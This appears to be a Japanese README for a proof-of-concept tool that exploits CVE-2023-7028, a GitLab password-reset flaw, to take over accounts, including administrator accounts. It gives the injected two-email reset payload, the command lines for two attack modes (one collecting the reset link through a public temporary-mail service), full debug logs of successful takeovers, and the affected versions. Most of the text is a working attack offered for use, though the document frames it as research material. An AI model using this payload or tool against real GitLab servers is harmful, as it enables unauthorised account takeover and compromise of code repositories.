CVE-2023-7028 | GitLab アカウント乗っ取り

免責事項

このコードは脆弱性の概念実証であり、自身が所有していない GitLab インスタンスに対して使用することを推奨するものではありません。
このツールは研究および教育目的のみで開発されており、その使用に関して一切の責任を負いません。

説明

CVE-2023-7028 は、ユーザーの操作を必要とせずに GitLab 管理者アカウントを乗っ取ることが可能な、アカウント乗っ取り脆弱性です。

この脆弱性は、パスワードリセット時のメール管理にあります。攻撃者は 2 つのメールアドレスを指定でき、リセットコードが両方に送信されます。
したがって、ターゲットアカウントのメールアドレスと攻撃者のメールアドレスを指定し、管理者パスワードをリセットすることが可能です。
(GitLab は、2 要素認証を有効にしている場合、攻撃者がパスワードをリセットしてもログインできないため、この脆弱性の悪用を防止できると指摘しています。)

ペイロード

以下はペイロードの例です。

user[email][][email protected]&user[email][][email protected]

POC

方法 1: 一時メールを使用

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW

方法 2: 攻撃者メールを使用

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

ヘルプ

$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

注意:

--evil オプション（攻撃者のメールアドレスを指定）を使用しない場合、スクリプトは パブリックな一時メール を利用してパスワードリセットリンクを取得します。
=> ペネトレーションテストでこの POC を使用する場合は注意してください。

影響を受けるバージョン

16.1 ～ 16.1.5
16.2 ～ 16.2.8
16.3 ～ 16.3.6
16.4 ～ 16.4.4
16.5 ～ 16.5.5
16.6 ～ 16.6.3
16.7 ～ 16.7.1

CVE-2023-7028

人気